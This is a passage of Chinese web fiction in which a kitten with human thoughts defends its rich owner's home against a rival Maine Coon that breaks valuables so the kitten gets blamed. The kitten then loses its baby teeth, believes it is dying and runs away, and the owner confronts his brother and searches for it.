玳瑁害羞地低下了头：“也没有那么正式啦，我就是随便转转，然后告诉它猫咪之家可以吃饭喝水。” 吴雪：“你找到了吗？” “没有，”玳瑁摇头，“味道找到一半就断了。” 吴雪自告奋勇：“我陪你一起找。” “真的吗？那太好了，老大出马一定没问题！” 玳瑁带着吴雪去了它最后发现气味的地方：“我只能跟到这里，然后就断了。” 奶牛猫张开嘴巴，以一种奇怪的表情嗅闻。 “这里还有……在这边……”两只小猫一路找到楼下，“等等，不对劲——” 吴雪抬头看着这栋熟悉的大楼，睁大了眼睛。 “不行，我要回家了，我下次再来找你。”吴雪把所有小鱼干都给了玳瑁，头也不回地跑了回去。 穿过大堂，进电梯，管家打开大门—— 吴雪霎时弓起后背，十分警惕！ 虽然味道很淡，可见入侵者非常谨慎，没有主动留下信息。可他本身侵略性很强，哪怕有意隐藏也没能完全隔绝。 吴雪匍匐身体，循着这股味道一点点排查领地。客厅安全，卧室安全，就在他犹豫要先去健身房还是书房时…… “乌乌，吃饭了！”门外传来管家的声音。 吴雪竖起耳朵，对管家的呼唤充耳不闻。进食、排便、睡觉都是他最脆弱的时候，警惕的猫科动物，不会在领地受到侵犯的时候展露脆弱。 然而下一刻，一只大手非常没有礼貌地托起他身体，不征求他同意就擅自把他带到了食盆前！ “喵呜~！”吴雪挣扎起来，又很快被食物吸引了注意。 算了，来都来了，那先吃一点儿吧。 小猫狼吞虎咽地咽下肉块，吃到一半，他突然竖起耳朵，停下了进食。 “怎么不吃了？”管家把肉块递到小猫面前，小猫却转身跑进了书房。 估计是小鱼干吃多了，不怎么饿。管家收起盘子，去厨房洗碗。 刚洗干净餐盘，书房突然传来“啪”的一声响。 管家连忙进去一看，发现书房窗户被打开了，风吹得窗帘鼓起一个大包。 而地面上出现了一片碎玻璃，乌乌一脸震惊地站在玻璃杯前，围着杯子嗷呜乱叫。 管家先关了窗户，又拍视频留痕，然后再清理碎玻璃，防止猫咪受伤。 清理碎片时，管家忍不住叹了口气。乌乌打碎什么不好，偏偏打烂了老板最喜欢的杯子。 这个杯子是日本大师手作，全球限量10个，原价4千多，现在已经超过了六位数。贵都不算什么，主要是这个杯子的独特性，市面上已经没有流通了，有价无市。 管家犹豫了一会儿，还是把这件事跟老板说了。 听着管家的汇报，吴雪天的都塌了，他进来时杯子就碎了！ 他急得围着管家转圈圈，不停地解释：“不是我干的，我进来时杯子就碎了！！” 可管家什么也听不懂，还以为乌乌是心虚所以一直叫呢。 · Y国清晨，酒店餐厅，顾司沉正和与会嘉宾用餐。不知是谁开的头，话题突然聊起了育儿经。 孩子年纪还小的，就聊婴儿饮食、生病、打疫苗。 “白天一定要让孩子玩够，晚上才不闹腾大人。” 顾司沉点头，乌乌深夜床头蹦迪让他深有同感。 孩子年纪稍长的，会聊如何和孩子沟通，教孩子明事理，培养正确习惯。 “小孩子又不知道对错，第一次犯错打骂都没用，还是要家长耐心沟通，让孩子明白什么可以，什么不可以。” 顾司沉继续点头，上次他和乌乌闹矛盾，也是通过沟通才解决问题。 大家说完一圈，只剩下顾司沉没有发言。大家这才想起来顾司沉未婚未育，估计插不进话题，贴心的人正打算换个话题，却不料顾司沉很自然地接了话。 “我最大的收获是明白了孩子不是我的所有物，作为家长，我不能强迫它按照我期望的方式成长，有时候也要学着适当妥协、放手。” 顾司沉说完，大家都愣住了。 一旁秘书过来提醒，顾司沉起身道：“各位慢用，我还有个活动，先走了。” 直到顾司沉离开餐厅，大家才终于反应过来，纳闷道：“没听说顾总有孩子啊，怎么说起育儿经头头是道呢？” “该不会有私生子吧？” “别，这话可不敢乱说。” “我记得他有个弟弟，长兄如父，可能是在抚养弟弟是产生的经验。” “对对对，应该是这样。” 会场贵宾休息室，顾司沉和其他与会嘉宾正等候上场。顾司沉是商界名人，其他嘉宾纷纷过来社交，问候。 起初气氛还算融洽，直到顾司沉手机震动，他看了眼手机，立刻起身拨通电话。 管家也懵了，消息刚发过去，老板立刻就打电话回来。他还以为老板要骂猫，没想到顾司沉很紧张地说：“乌乌怎么样？没受伤吧？” 管家愣了下，说：“没有。” 顾司沉又问：“乌乌有没有被吓到？它应激了吗？精神还好吗？” 管家仔细打量着似乎骂得很脏的猫，谨慎道：“看起来应该也没有。” 顾司沉终于放心，又叮嘱管家把易碎品收起来，猫喜欢吞咽的东西都收好，不要让乌乌误食。 管家一一应下，挂断电话后笑着调侃小猫：“你现在也算身价六位数了。” 乌乌扬着脑袋，似乎骂得更凶了。 · 38度高温下，缅因猫在室外等了整整一天，都没有发现奶牛猫被赶出家门。 怎么会这样？ 他对自己的计谋有着绝对的自信，上次他打烂了顾光耀一个花瓶，不仅被揍了一顿，连饭都没得吃。 这件事给了他对付奶牛猫的灵感，人都讨厌猫拆家，既然他打碎花瓶被揍，那他就把奶牛猫的家搞得稀巴烂，这样就能让顾司沉抛弃奶牛猫了！ 可他等了整整一天，结果楼上根本没有动静！ 为什么？ 肖冕一阵苦思冥想，终于得出答案——一定是他打烂的玻璃杯太便宜了！ 那个杯子那么普通，一定不超过一百块，他决定破坏一件更贵重的东西。 第20章 领地被入侵, 吴雪启动了一级警戒程序，下定决心要把这只不知天高地厚的猫赶出。 吴雪一边警戒领地，一边加强训练和进食。 虽然他本领高超, 可他还只有三个多月大，年龄太小了，身体还远远达不到强壮的水平，肌肉爆发力、咬合力、以及反应能力都还没有达到顶峰。要对付这样神出鬼没的入侵者，他必须尽快长大才行。 可成长不能一蹴而就, 因地制宜地制定捕杀策略, 才能更好地取得胜利。 于是接下来的日子里, 管家看见乌乌从各个角度冲出来捕猎。门背后、窗帘里、电视机夹缝中。甚至有一次他发现乌乌从天花板上蹦下来，管家被吓得心脏骤停, 乌乌用一个极富技巧性的姿势落了地。 管家把这些视频剪成合集, 配bgm发给远在海外的老板。 看见视频的顾司沉：好想立刻就回去。 与此同时，缅因猫经过严密计算，再次发动了攻击——这次他要破坏一个花瓶！ 奶牛猫领地在大楼最顶层，且因为安装了一个叫中央空调的机器, 各个窗户常年保持紧闭, 潜入并不是一件容易的事情。 好在他多方查探后找到漏洞，缅因猫和上次一样躲进清洁工的工具车，并耐心地等到所有人都离开后，再从佣人通道潜入了吴雪领地里。 他直奔客厅, 目标是破坏餐桌上的花瓶。就在他打碎花瓶前一秒, 奶牛猫突然飞了出来, 一下把他撞倒在地。 短暂的对视后，两只猫迅速扭打在了一起！ 缅因猫已接近成年，体型超过奶牛猫一倍不止, 按理说应该占据绝对优势。可他身体有伤，打斗过程中会无意识护着小腿。 再加上奶牛猫做了突击训练，吃喝都是最顶级的，虽然体型不大，但身体养得壮壮实实，一时间竟和缅因猫打成了平手。 体力上胜负不分，两只猫又开始拼起了猫能力。 如果此时有人在场，恐怕会觉得这两只猫在互相拜拜，可爱得很，但其实缅因猫和奶牛猫已经打得昏天暗地。 对决时间拉长，吴雪逐渐开始感到压力。 早在出岛前他就听过肖冕的威名，肖冕是猫猫岛年轻一代中的佼佼者，传言此猫本领高超，性格凶残冷酷，猫能力也非常高，甚至还有猫猫岛第一杀手的名号。听说他后来出岛绑定了人，绑定人的攻击对象是吴雪的宠人，吴雪本来还有些紧张。 可现在看来，肖冕似乎被养得很差，毛发杂乱，小腿断裂，身体瘦削，状态甚至没有出过岛前好。 也多亏肖冕状态不佳，不然以吴雪这样幼小的年纪，想要打败肖冕根本是不可能的事情。 眼看肖冕就要落败，就在这时，走廊传来一阵脚步声，有人过来了！ 趁着吴雪转头的空档，缅因猫猛然跃起，跳到餐桌上把花瓶推倒在地，然后转身跑了。 吴雪：！！ 什么？原来这才是他的目的！！阴险小猫！！！ 管家推门进来，只听得“哗”的一声响，餐桌上的花瓶碎了一地。始作俑者乌乌站在旁边，一脸震惊的表情。呆滞两秒后，乌乌后退两步，飞快逃离了案发现场。 管家：“……” 这次闯的祸，好像有点儿大了。 这可是拍卖会上的花瓶…… 他录下视频留证，深吸一口气然后开始收拾残局。 不然下次还是建议老板装个摄像头好了，毕竟最近事故太频发了，他都开始担心要是老板以为他犯错，把责任推给猫怎么办？ 虽然以顾总的人品不会做出这种事情，可他上门工作，总要求个安心。偏偏乌乌还要来蹭他，四处捣乱。 “说你呢，小坏蛋，”管家戳了下猫咪鼻子，纳闷道，“我看老板在家时你挺乖的，怎么老板一离开就开始搞事情？那么大一个花瓶都打碎了。” 乌乌：“喵喵喵！！！” 小猫眼睛瞪得圆圆的，露出不服输的神情。 管家立刻心软，改口道：“是花瓶不好！花瓶不该放在这里，才让小猫打碎了。” 清洁做完，管家接到了顾司沉的视频通话，他接通视频有些支吾，主要是还没想好怎么禀报这件事。 老板才离开三天，家里损失已经直逼七位数，就算是猫猫调皮，他也得落个看管不利的责任。管家先让老板看猫，希望看在乌乌可爱的份儿上，能原谅它拆家的行为。 不知是不是干了坏事心虚，急需讨好主人，乌乌今天显得非常活泼，抱着手机嗷呜说个不停。 顾司沉：“乌乌是不是想我了？” 吴雪：“啊啊啊气死我了！你知不知道有只缅因猫跑进来，打烂了花瓶，敢挑衅我，下次我定让他有来无回喵喵喵喵喵喵……” 说着说着，猫又委屈起来，还有些闯了祸的心虚：“对不起，是我没有保护好这个家……” 乌乌声音和脑袋都越来越低，委屈得不行。 小猫离开后，管家拿起手机，和以往一样说：“您这边还有什么交代吗？” 顾司沉：“乌乌出什么事了？” 管家瞬间滑跪：“对不起，是我看管不利，我愿意受罚。” 顾司沉：“怎么回事？” 管家：“我今天外出了一会儿，回来后发现餐桌上的古董花瓶碎了。” 顾司沉仿佛丝毫不在意，只是说：“难怪乌乌刚才表情不对，应该是被吓到了。”然后他又交代管家：“你别骂他。” · 缅因猫躲在花园草丛里，他觉得自己这次一定能完成任务了，可奇怪的是他从天亮等到天黑，依旧没能等到奶牛猫被赶出来的消息。 怎么会这样？ 肖冕不明白，可他没有体力再等下去了，他生了病，还受了伤，走路都变得一瘸一拐。周围有流浪猫经过，投来好奇的目光，肖冕竖起耳朵，很凶地哈了回去。 他是猫猫岛最年轻的杀手猫，曾创下同龄猫中最高猎杀记录，就算生病，也不至于要被流浪猫欺负。 流浪猫被他吓跑，肖冕躺在灌木丛下，准备休息一下再捕猎。 捕猎需要专注力和爆发力，可他现在太累了，又饿又渴，伤口也疼。与其拖着这副疲倦的身体碰运气，不如先恢复一下精力，一击致命。 好在这里灌木茂盛，又是夜晚，不会有人来打扰他休息。 肖冕合上眼睛，渐渐睡了过去。 “咪咪，咪咪……” 有光在树丛里晃来晃去，缅因猫立刻睁开眼睛坐起身体，金色瞳孔反光亮得吓人。 灌木丛外，一个背书包戴口罩的年轻男人蹲在地上，支着手机电筒看过来：“原来真有猫在这里，好瘦，一看就不是猫咪之家的猫。” 缅因猫弓背龇牙，竖起毛发，随时可以攻击或逃跑。 “别怕，我不过来。”男生咔嚓一声打开罐头，放到灌木丛边缘说，“我走了，你等会儿自己吃吧。” 缅因猫不为所动，他见过太多这种装好心吸引猫再殴打猫的人。可奇怪的是，这个男生竟然真的背着书包走了。 缅因猫警惕盯着罐头，一动不动。 十分钟后，男生回来看着没有一点儿变少的罐头，叹了口气。而前方的灌木丛里，已经没有缅因猫的踪迹。 肖冕不吃人类的东西，他刚来人类世界时吃过一个男人给的罐头，结果又拉又吐，肚子痛了好几天。 幸好他命大自己熬了过来，要是换成奶牛猫那种娇气的小猫咪，说不定早就死了。 恢复精力后，肖冕捕猎了一只老鼠，随后便蛰伏在浓密的草丛中。他是优秀的猎手，有的是耐心。 直到第二天上午，肖冕都没有看见奶牛猫被赶出来，于是他知道自己第二次行动失败了。 他不知道原因，但他明白人不会无条件包容猫。奶牛猫的绑定人现在还能容忍，是因为目前的破坏还没有触及底线，等到情况不可挽回，人总有一天会抛弃猫。 稍作休整，肖冕开始策划第三次入侵。进入还是和以往一样顺利，直到他推开门——缅因猫瞬间弹射而起！！！ 前所未有的大危机！怎么会有蛇在这里？！ “这次我不会再放过你了！”缅因猫惊魂未定，奶牛猫已经冲了过来。 一边有蛇，一边又是奶牛猫的攻击，缅因猫被打个措手不及，节节败退，碰到蛇时又被吓得弹射而起。 难以置信，奶牛猫竟然和蛇合作了？不可能，猫和蛇是天敌！而且人也不会允许蛇出现在家里！ 可他确确实实看见有许多绿色长条状的东西，可仔细一想，这些东西和蛇确实不太一样，这里的蛇不会主动攻击。 当第三次撞上蛇时，缅因猫终于反应过来，不对！这不是蛇！而是一种叫黄瓜的可怕物品！ 虽然只是黄瓜，可还是很可怕！ 不行，不能只有他一只猫被吓到，缅因猫开始把奶牛猫逼到黄瓜旁边。 吴雪：？？？ 两只猫打着打着就会撞上黄瓜，被吓得弹射而起，继续互相殴打。 到最后谁也受不了了，不约而同地提议更换场地。 战场从门边转移到了沙发上，战况依旧非常凶猛。慌乱中不知是谁踩了遥控器，打开了电视。起初他们并未在意，直到屏幕里出现了一个带尾巴的黑色小球，伴随着“索索索”的声音跑来跑去。 等等，这是什么？ 生物本能来袭，缅因朝着小球飞快冲去！ 怎么刚出现又消失了？ 抓不到！根本抓不到！哪里来的猎物，竟然这么狡猾！ “哈哈哈哈哈哈！”吴雪玩过这个游戏，看着兴奋得几乎失态的缅因猫，得意地叉腰狂笑。 “索索索” 小黑球突然出现。 “咻——” 奶牛猫也冲了过去。 两只猫彻底沉迷了，架也不打了，直接比拼谁先抓到小黑球。 一定是他！这次他抓住了！ 缅因猫挤在电视和墙壁的夹缝中，尖锐的牙齿牢牢咬住小黑球，为了防止猎物逃跑，还抱着电视机一角开始兔子蹬。 他是猫猫岛第一杀手，没有猎物能逃离他的掌控！！ 缅因猫信心满满，可等他松开爪子一看，下面哪里还有什么小黑球？ “索索索” 小黑球出现在了奶牛猫那边！ 奶牛猫反应迅速，抱着电视机另一个角也开始咬屏幕，一边咬一边大力兔子蹬！ 缅因猫正要过去，小黑球却又出现在了他这边！！ 伟大的猫猫神，这究竟是怎么回事？！ 两只猫被小黑球硬控十几分钟，一百多万的110寸 Micro LED电视四角和边缘不约而同地出现了损伤，然后突然一闪，竟然黑屏了。 真是一场酣畅淋漓地战斗。 在他们的不懈努力下，小黑球狼狈逃走，奶牛猫和缅因猫坐在旁边，吭哧吭哧地喘着气。 就在这时，吴雪突然闻到一阵甜腥味儿，他舔了舔嘴唇，发现自己牙齿掉了。 他的武器！他引以为傲的獠牙！竟在刚才的战斗中掉落了！ 怎么会这样？吴雪看着掉落的犬牙，感觉天都塌了！ 缅因猫冷冷发话：“你输了，你马上就要死了。” “什么？”奶牛猫睁大眼睛，有些慌乱地反驳，“骗子，我才不会相信你！” 缅因猫凉凉一笑：“你牙齿都掉了，没有獠牙的野兽只有死路一条。而且你还吐了血，不管你信不信，你已经病入膏肓，马上就要死了。” “我、我不相信！”奶牛猫双手握拳，扬着下巴说，“就算我生病了，人也一定会治好我的。” “治好你？”缅因猫仿佛听见了什么笑话，反问道，“你觉得人为什么要养猫？” 奶牛猫沉默数秒，肯定道：“当然是因为想当猫的仆人！” “你能不能不要这么天真？”缅因猫脸上露出类似无语的表情，继续说道，“猫只是人的工具，不管是农耕社会农民养猫抓老鼠，还是工业社会人把猫当宠物，本质上来说，猫都是人取悦自己的工具而已。” 奶牛猫被这番话震住了，这番话让他很不舒服，可他一时又找不出合适的话来反驳，只是笨拙地反问：“工具又怎么了？工具也是有用的，我可以保护他！” “蠢货，”缅因猫冷冷道，“工具就证明当你没有利用价值后，人就会换掉你。” 奶牛猫愣住了。 “你以为人人都愿意花钱给猫治病吗？多得是只想享受猫的好处，而不愿意付出代价的人。治疗一只猫动辄几千块，有这个钱去医院，还不如换一只新的。那些花钱买来的品种猫尚且如此，更别提我们这种白送上门的。死了大不了就再养一只，外面小猫那么多，反正不用钱就能带回家。” “我的人才不会这样，他对我很好的，”奶牛猫反驳道，“之前我晕倒了他还送我去医院，我不舒服也带我去体检，他才不是那种不给猫治病的人。” 缅因猫眼中有一闪而过的羡慕，但很快就被冷酷淹没，继续道：“那是之前，可人心中都有一杆秤，当你带来的损失超过收益，他们就会毫不留情地抛弃你。你现在破坏了这么多东西，你以为人还会要你吗？” “我没有！”吴雪大声反驳，“坏事都是你做的！” 缅因猫：“可你的人知道是我做的吗？” 奶牛猫愣住了。 缅因猫眯着眼睛，语气残酷地宣布：“人什么都不知道，人只会把责任推给你。” “不会的，不会的，”奶牛猫低着头，眼里包着两大泡眼泪，“就算我拆了家人也不会不要我的，顾司沉不是这样的人，他不会抛弃我的……” 他似乎把自己说服了，自言自语地说：“对，顾司沉不会不要我的。他那么喜欢我，只要我翻肚皮、蹭手心、各种撒娇喵喵喵，他就一定会原谅我的。” “你在做梦。”缅因猫豪不留情道，“人喜欢猫是因为猫可爱，干净，让人省心。可现在你生病了，马上就要死了，等你变得又丑又弱，你觉得他还会像之前一样喜欢你吗？” 奶牛猫呆住了，他努力瞪大眼睛，可眼泪还是不争气地掉了下来。 “以后你会越来越丑，你的毛发不再蓬松，叫声不再悦耳，会长眼屎流口水，变得又脏又臭……你觉得这样人还会喜欢你吗？” 奶牛猫说不出任何反驳的话，只是不停地重复：“我的人不一样，他不是那种坏人……” 缅因猫：“就算人真的接受你，难道你要以这幅丑陋的样子死在他面前？让他一辈子伤心？” 缅因猫说完，以胜利者的姿势离开了那里。他努力扬着头，试图保持以往的强大与优雅，可断裂的腿、还有干枯打结的毛发还是出卖了他的狼狈。 他想起离岛前猫猫神对他的告诫： 人愚笨，但也聪明； 人弱小，但也强大； 人善良，但也残忍； 人让你开心，但也让你伤心； 人复杂多变，可爱，可怕，也可怜； 最重要的是，猫永远不要小瞧每一个人。 曾经的他对这一切嗤之以鼻，那时的他意气风发、以为自己能在人类世界闯出一番事业，直到现在锐气全无，疾病缠身，才终于领悟了这番告诫。 缅因猫沉默地离开了，吴雪呆呆留在原地，感觉天都塌了。 他还只是一只小猫，怎么就要经历这种事情？ 忍住，不要哭。 你是一只坚强的小猫。 可是……可是人真的会不要他吗？他真的要死了吗？ 奶牛猫低头去咬掉落的牙齿，想把牙齿重新装回嘴里。可不管他多努力牙齿都装不回去，甚至连另一颗牙也掉了下来。 原来缅因猫没有骗他，他得了绝症，真的要死了。 “呜哇哇——” 吴雪再也忍不住，嚎啕大哭起来。 · Y国机场贵宾候机厅，顾司沉和部分与会人员搭乘专机返回国内。 开始登机前，顾司沉戴着耳机，看乌乌视频打发时间，常年保持平直的嘴角正越翘越高。 熟悉的合作伙伴调侃：“顾总这样子，是不是有情况啊？” 顾司沉这才意识到自己表情，连忙压下嘴角道怎么说：“没有。” 合作伙伴：“是不是谈恋爱了？” 顾司沉轻描淡写：“只是捡了只猫。” “那一定很可爱吧？” 顾司沉没有回答，可手已经把手机递了过去。上面是乌乌精选集，每个视频、每张照片都可爱得不行。众人频频吹捧，在一声声“真可爱”“好漂亮”“一看就聪明”的夸赞中，顾司沉逐渐体会到了家长晒孩子的自豪。 猫可爱吧，他顾司沉的。 晒完乌乌，置顶管家发来消息。 顾司沉还以为是小猫可爱锦集，打开一看，沉了脸。 乌乌把他电视咬烂了，还蹦断了自己两颗牙，弄得满身是血。顾司沉离家4天，乌乌闯祸呈指数级上升。 顾司沉电话立刻打了过去：“乌乌有没有受伤？” 管家：“目前没有发现，就是掉牙了精神不太好。医生说换牙期掉落很正常，猫精神萎靡也不是个例，等新牙长出来就行了。” 顾司沉一时间说不上是什么心情，有错过乌乌换牙的遗憾，也有一只小猫怎么能闯这么大祸的茫然，但最后留下的，是一种混合了无语、好笑、以及思念的复杂情绪。 他又想起了刚才被问的问题：一定很可爱吧？ 顾司沉：“……” 可爱，可爱死了。 他想，他不能再这么纵容乌乌了，闯祸的小猫要被惩罚。要被人狠狠亲，吸肚皮，揉粉色的肉垫。他要pua乌乌外面的世界很危险，到处都是坏人，除了我就没有人要你，所以你要乖乖听话知道吗？ 可顾司沉又迟疑起来，乌乌那么懂事，要是真相信了一定会伤心的。算了，还是不要说这些话了。 飞机飞过地球上空，天上出现一朵长得像猫的云。顾司沉拍下照片，想把这朵猫猫云给乌乌看。 20-30 第21章 乌乌不见了, 飞行行程过半，顾司沉收到管家消息。 自从换牙后乌乌精神就不太好，吃东西玩玩具都不积极。傍晚时乌乌突然按按钮说想出去玩, 并且表现得很亢奋的样子。 乌乌好不容易才活泼了一点儿，管家自然没有拒绝，却没想到溜猫时乌乌突然挣脱绳子跑了。它仿佛早就勘测好了逃跑路径，专往植物茂盛的花园里钻，两个保镖鼓足了劲儿都撵不上。 最后监控显示乌乌跑出小区, 消失在了附近的街巷里。 这件事情责任完全在他, 管家不敢祈求老板原谅, 只得尽可能地补救：“我已经让物业和保镖去找了，还联系了本地专业的找猫团队, 应该很快就有消息了。” 物业保镖都不擅长寻猫, 民间找猫团队也只是相对有经验。 “还不够，”顾司沉拧眉，吩咐道，“我让集团安保主管联系你, 额外再调取附近市政和街店的监控, 同时申请一批搜救犬，你处理不了的问题让孟知出面。不计一切代价，务必要找到乌乌。” 又过了四个小时，顾司沉乘坐的飞机在机场降落, 接待车直接开进停机坪。 此时天已经全黑了, 顾司沉穿着一身黑色商务款西装, 身高腿长，五官冷厉。 他坐进轿车后座，让一旁的管家汇报进度。 管家都要没脸回话了, 硬着头皮道：“我们已经扩大了搜索范围，可只有最开始在小区附近拍到过乌乌，后面就再也没看见了。” 顾司沉听完后沉默数秒，感觉有些不对劲，让管家详细说一遍这几天的情况。顾司沉听完，这种不对劲越发明显了。 乌乌虽然活泼，但它不是一只不懂事的猫，除了第一天回家抓烂他的窗帘和沙发，后面就几乎没有闯祸了。相反，乌乌其实非常聪明、通人性，和他玩从不伸爪子，咬人也不下重口，连踩奶都知道避开他的丝绸睡衣。 但奇怪的是，在他出差这几天里乌乌却突然状况百出。水杯、花瓶、电视机一直摆在那里，为什么之前乌乌从来不动，却全集中在这几天里搞破坏？ 顾司沉起初以为他离开后乌乌心情不好，故意破坏这些东西吸引他注意力。一般小猫或许有这种可能，但乌乌那么懂事，家里也还有别人，顾司沉不认为乌乌会做这种事情。 他问管家：“你亲眼看见乌乌搞破坏了？” 管家愣了下，摇头说：“没有，都是我外出回来发现东西坏了。” 顾司沉：“当时家里只有乌乌？” 管家说是。 顾司沉没再说话，也没有对管家发火，但给人以强烈的压迫感，仿佛回到了收养乌乌前的日子。 轿车驶入古贸壹号地下停车场，高速电梯门倒映着顾司沉冷峻的正脸。 顾司沉开门进屋，换鞋时突然目光一凝，鞋柜下藏着一撮银灰色毛发，手感粗硬，不是乌乌的毛发。 管家：“我马上让保洁来处理。” 顾司沉却摇头，说：“有别的猫来过这里。” “别的猫？”管家愣了愣，“我去查监控。” “不用，我知道是谁。”顾司沉把毛发丢进垃圾桶，转身出门，同时拨通安全主管电话，“给我安排20个保镖，现在就要。” · 市中心一豪华别墅里，顾光耀聚集了一群俊男靓女正在开泳池party。一个个男男女女衣着清凉，音乐糜烂，纸醉金迷。 各种吹捧声灌入耳中，作为派对主办者，顾光耀享受着身为人上人的感觉。 可是突然间音乐停了下来，突兀地打断了他的兴致。 顾光耀皱眉，不悦道：“怎么回事？音乐怎么停了？” 门外突然涌进两列保镖，一个个西装革履，身材高大。这些保镖穿过嬉闹的人群，直接走到顾光耀前面。 旁边的人都慌了，连忙道：“顾二少，怎么回事？” 还不等顾光耀回答，两列保镖突然后退一步，在中间分开一条通道，顾司沉从中间走了出来。 他神情冷漠地穿过一片男女，最后停在顾光耀面前说：“你想换个地方，还是在这里被我审？” 顾光耀脸一下就黑了，可一向暴脾气的他，此刻竟然什么话都没说。 大家都惊呆了，凑到一起小声道： “我靠，这是谁啊？好大的派头。” “竟然敢砸顾二少的场子，不要命啦？” “不要命的是顾二少啊，竟然敢惹他大哥。” “顾二少大哥？” “你不认识吗？这位就是顾家的掌权人——顾、司、沉。” “真的假的，竟然这么帅？！” 有人想拍照片，但刚举起手机面前就出现一个保镖，礼貌又威慑地摇头。 没人敢偷拍了，这些男男女女甚至连大气都不敢出，直到顾光耀灰溜溜地跟着顾司沉上楼，才终于敢小声讲话。 “原来这就是顾司沉，古贸传媒总裁也是他吧？可我怎么都没听过他的事迹？” “人家可不混娱乐圈，都是出现在财经新闻里，前几天刚上新闻联播上呢。” 顾光耀从来没被人这么下面子，但凡换成别人他早就爆了，偏偏这人是顾司沉。顾光耀实丢不起这么大的脸，灰溜溜跟着顾司沉上了楼。 二楼有个小客厅，顾司沉率先上楼，顾光耀跟在他身后，刚爬完最后一节台阶就被两个保镖按在了椅子上。 “你干什么？”顾光耀慌得话都说不顺了，磕磕绊绊道，“顾司沉，你、你要是敢动我，爸妈不会放过你的！” 顾司沉：“把乌乌交出来。” 顾光耀先是一愣，霎时又是一阵狂喜，缅因猫跑出去这么多天杳无音讯，他还以为跑了。可看现在顾司沉气急败坏的样子，应该是缅因猫得手了？ 顾光耀心中窃喜，面上却不动声色：“我不知道你在说什么。” 顾司沉抬了抬手，旁边一个保镖递来一个信封。 顾司沉把信封丢到顾光耀身上，冷漠道：“一天内交出乌乌，交不出来，你这些丑闻全都得曝光。” 顾光耀拆开信封，各种照片和转账记录复印件噼里啪啦落了一地。他这些年生活糜烂，花天酒地，一些混账事儿甚至连他父母都不知道，此刻却全都出现在了这里。 顾光耀脸色一白，连忙道：“哥，真的和我没关系！我也不知道你的猫在哪里！！” 顾司沉踢开他双手，头也不回地走下了楼梯。 保镖把别墅仔仔细细地搜了一遍，没有发现乌乌的痕迹。顾司沉留了一部分人在别墅，自己回了古贸壹号里。 搜寻还在继续，依旧没有任何消息。 未拆的行李箱放在门口，半个箱子都是乌乌的礼品。顾司沉拿起一个玩具晃了晃，小鸟发出清脆的啼鸣。 以往只要他摇玩具，不管乌乌躲在哪里都会立刻跑过来，可今天顾司沉等了好久，屋内都没有任何回应。 他又拿起一个小球玩具远远丢了出去，乌乌最喜欢玩球，丢出去还能捡回来，像小狗一样巡回。 现在小球四散在客厅里，再也没有猫咪兴奋地追逐着她们的痕迹。 第二天，顾光耀熬不住主动坦白，说他确实有一只缅因猫，但早在一周前就离开了，他也不知道猫去了哪里。 一夜过去，顾司沉依旧没有发现乌乌的踪迹。 · 吴雪其实没走远，他一直待在古贸壹号附近。只是猫天生就擅长隐匿，能去许多人无法抵达的缝隙里，只要他有意躲藏，再多人也找不到他的踪迹。 他目前在市政的公共花园里占了一片领地，这里可以看见古贸壹号停车场出入口，顾司沉每次开车都会从这里进出。 最后的日子里，他想在这里再看一看人。 可最近几天人一直在找他，吴雪大部分时间都在躲避，直到深夜才出来觅食。 他得了绝症，牙齿也掉了，吴雪现在不再自己捕猎，而是步行去3公里去菜市场觅食，这里有热心的摊主，附近还有一所小学，小孩子们都喜欢小猫咪，会喂给他一些小零食。但也不能去人太多的地方，他担心被找猫团队发现。 四处讨饭终于吃饱喝足，吴雪又回到了花园里。 “喂，”前方突然传来一道声音，一只狸花猫挤进了树丛里，“这里是我的地盘！你新来的，要给我交保护费！” 狸花猫身后还跟着两个猫小弟，一唱一和道： “新来的。” “交保护费。” “吃的首先分给我们。” 吴雪换了个地方睡觉，懒得搭理它们。 狸花猫跟了过来，依依不饶：“喂，我跟你说话，你没听见吗？你如果想住在这里，每天需要给我交三根火腿肠，或者一个猫罐头……” 奶牛猫亮出爪子，噼里啪啦￥%……*￥！&（*）） 一分钟后，三只猫抱着脑袋，泪眼汪汪。 吴雪收回拳头，一脸淡定：“现在这里是我的地盘了，你们别来烦我。” “嘤嘤嘤。” 讨厌的猫走了，吴雪翻来覆去，依旧睡不着。 不知道人现在过得怎么样了，不然回去看看他？就算不能见面，远远看一眼也行。 现在距离乌乌走丢已经过去了48小时，顾司沉不再把希望寄托在保镖、找猫团队、以及所谓的专业人员身上。他只留出极小部分时间处理重要工作，其余大部分时间都在亲自找猫。 他觉得乌乌就在附近，只是不知道为什么不愿意和他见面。 顾司沉找猫的方法很原始，他带着乌乌最喜欢的零食和玩具，到处喊乌乌的名字。 乌乌今天去古贸壹号看顾司沉，竟在附近意外见到了缅因猫。 他首先是闻到了一股臭味儿，走近一看，才发现那竟然是缅因猫。 缅因猫已经接近成年，此刻却狼狈地蹲在纸箱里，毛发粗糙打结，身体薄得仿佛一张纸，再也没有当初的威风凛凛。 难以置信，短短几天过去，缅因猫竟然变成了这幅样子！ 吴雪：“你怎么……” “别过来，”肖冕表情阴鸷，“再过来我就杀了你。” 吴雪转身就走，缅因猫闭上眼，重新蹲了回去。 他太疼了，最近两天反复性发烧，骨折的地方开始红肿，化脓，他想，他的确是要死了。 “喂。” 不知过了多久，他听见一道声音。 缅因猫睁开眼，吴雪丢了一条鱼在他面前，转身走了。 吴雪其实是讨厌缅因的，可当他看着虚弱的肖冕，又想起得病的自己，觉得这大概也是他死前的模样。 吴雪舔了舔牙龈，感觉掉牙的地方有点儿痒，可能是某种恶化的征兆。不能再等了，他要回去再看看人。 吴雪一口气跑到古贸壹号小区，奇怪的是他明明得了绝症，可精神返到越来越好，难道是回光返照？ “乌乌，乌乌——” 吴雪刚潜进小区，就听见一阵熟悉的声音，顾司沉拿着他心爱的零食和玩具，不停地喊着他名字。 吴雪呆在原地，目不转睛地注视着远处的顾司沉。几天不见，人变得憔悴了许多，是不是没有好好吃饭？肯定也没有好好休息。 小猫眼睛湿了，不由自主地往前去。 “乌乌，乌乌——” 叫声惊醒了吴雪，在顾司沉看见他前一秒，吴雪立刻转身跑了。 他一口气跑了很远，回过神来才发现自己跑到了小区垃圾处理点。 味道很难闻，但这里应该暂时安全了。顾司沉有洁癖，不可能跑到这种地方来。 吴雪排查着垃圾，看能不能找出什么能吃的东西。他本来没报什么希望，结果当他哗啦啦扒开油纸，竟然发现了一个几乎没有动过的烤鸡！ 吴雪咽了咽口水，正要开动，突然察觉到什么，猛地转过头。 顾司沉站在他身后，神情错愕：“乌乌？” 